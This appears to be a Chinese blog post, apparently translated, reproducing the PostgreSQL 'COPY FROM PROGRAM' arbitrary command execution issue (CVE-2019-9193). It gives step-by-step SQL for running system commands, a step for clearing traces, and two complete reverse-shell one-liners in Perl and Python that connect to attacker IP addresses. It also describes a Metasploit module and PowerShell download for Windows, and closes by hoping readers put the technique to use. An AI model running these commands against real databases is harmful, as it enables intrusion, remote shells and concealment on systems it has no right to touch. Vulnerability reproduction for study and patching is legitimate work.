漏洞复现之PostgreSQL任意命令执行(CVE-2019-9193)

漏洞复现之PostgreSQL任意命令执行(CVE-2019-9193)_第1张图片

PostgreSQL是当下最流行的数据库系统之一,它是 Mac OSX系统下最常用的数据库,但同时也提供了Windows及Linux操作系统版本。(Kali下Metasploit用的就是PostgreSQL数据库)

今天,我将要给大家介绍一个鲜为人知的PostgreSQL特性,这个特性允许数据库的特定用户在PostgreSQL环境中执行任意代码并且在PostgreSQL 9.3至最新版本(11.2)中这个特性是默认开启的。它将会影响所有安装了PostgreSQL的Windows,Linux以及Mac操作系统。

漏洞复现之PostgreSQL任意命令执行(CVE-2019-9193)_第2张图片

从9.3 版本开始,PostgreSQL实现了“COPY TO/FROM PROGRAM”这个新的功能,它允许数据库的超级用户以及“pg_read_server_files”组用户执行任意的操作系统命令。这意味着在数据库超级用户角色与运行此数据库的操作系统用户角色之间没有进行适当的权限的分离。

这是一种深度防御意识的的匮乏,早在2000年初,我们就在Microsoft SQL Server上见到过这种情况。当时Microsoft SQL Server默认开启xp_cmdshell这个函数,不过在Microsoft SQL Server 2005版本中这个函数被默认禁止。但是如此相似的漏洞重复出现看上是一件非常有趣的事,就像一个跳不出的魔咒。

漏洞复现之PostgreSQL任意命令执行(CVE-2019-9193)_第3张图片

由于这个漏洞介于权限提升和任意代码执行之间,它需要一些前提权限,这些权限可以是通过认证正常的登录PostgreSQL也可以是通过SQL注入获得与PostgreSQL交互的途径。需要再一次说明的是,上述两种情形下都需要用户是一个超级用户或者是“pg_read_server_files”组用户。

通过如下步骤可以使用这个漏洞进行攻击

  1. [可选]删除你想用来保存命令输出但是可能存在的表

    DROP TABLE IF EXISTS cmd_exec
    
    
  2. 创建你用来保存命令输出的表

    CREATE TABLE cmd_exec(cmd_output text);
    
    
  3. 通过 “COPY FROM PROGRAM”执行系统命令

    COPY cmd_exec FROM PROGRAM 'id'
    
    
  4. [可选]查看执行结果

    SELECT * FROM cmd_exec
    
    
  5. [可选]清除痕迹

    DROP TABLE IF EXISTS cmd_exec;
    
    

漏洞复现之PostgreSQL任意命令执行(CVE-2019-9193)_第4张图片

需要说明的时,命令中的任何单引号都必须通过双引号来转义它们,比如你想执行下面命令:

echo 'hello';

你需要把上述命令用单引号包围并将命令中包含的单引号用双引号替换:

'echo "hello";'

我已经在所有的主流的操作系统上做过测试,如果你通过此漏洞来反弹shell你将会获得下面权限:

系统 用户角色 权限等级
Windows NT AUTHORITY/NETWORK SERVICE 低权限
Linux postgres 低权限
Mac 安装postgres的用户(通常是admin) 高权限

在Linux及Mac OSX操作系统中通常可以通过一行简单的perl命令来反弹shell,比如:

COPY files FROM PROGRAM 'perl -MIO -e "$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"192.168.0.104:80\");STDIN->fdopen($c,r);$~->fdopen($c,w);system $_ while <>;"';

当然Python版本也可以(译者补充:>)

COPY files FROM PROGRAM 'python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.31.41\",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);"'

原文作者已经编写了一个Metsploit的利用模块(在不久之后将会出现在Metsploit框架中)来简化这个漏洞的利用,在此之前Metasploit关于postgres的payload模块大多是关于postgres 8版本的。我编写的利用模块(postgres_copy_from_program_cmd_exec.rb)能够自动完成所有上述提到的操作,前提是你要提供给它有效的数据库验证信息以及适当的权限。但是对于在通过SQL注入利用这个漏洞的情况下你还是手动完成的好。下面是在Linux Ubuntu 18.04操作系统上的PostgreSQL 11.2版本环境中进行的漏洞利用:

漏洞复现之PostgreSQL任意命令执行(CVE-2019-9193)_第5张图片

漏洞复现之PostgreSQL任意命令执行(CVE-2019-9193)_第6张图片

对于Windwos来说,NETWORK SERVICE这个用户角色好像并没任何的写权限,不过也不要放弃,通过Powershell的远程下载你还是有可能获得反向Shell,我们把postgres_copy_from_program_cmd_exec.rb模块的COMMAND变量设置为Powershell命令,需要注意的是命令中的单引号需要使用反斜杠转义,下面是在Windows 10操作系统上PostgreSQL 10.7版本的环境中进行的漏洞利用:

漏洞复现之PostgreSQL任意命令执行(CVE-2019-9193)_第7张图片漏洞复现之PostgreSQL任意命令执行(CVE-2019-9193)_第8张图片漏洞复现之PostgreSQL任意命令执行(CVE-2019-9193)_第9张图片

希望这项新技术能够为你所用。

译者注:漏洞复现环境已经在vulhub上线。参考来源:medium

你可能感兴趣的:(漏洞复现)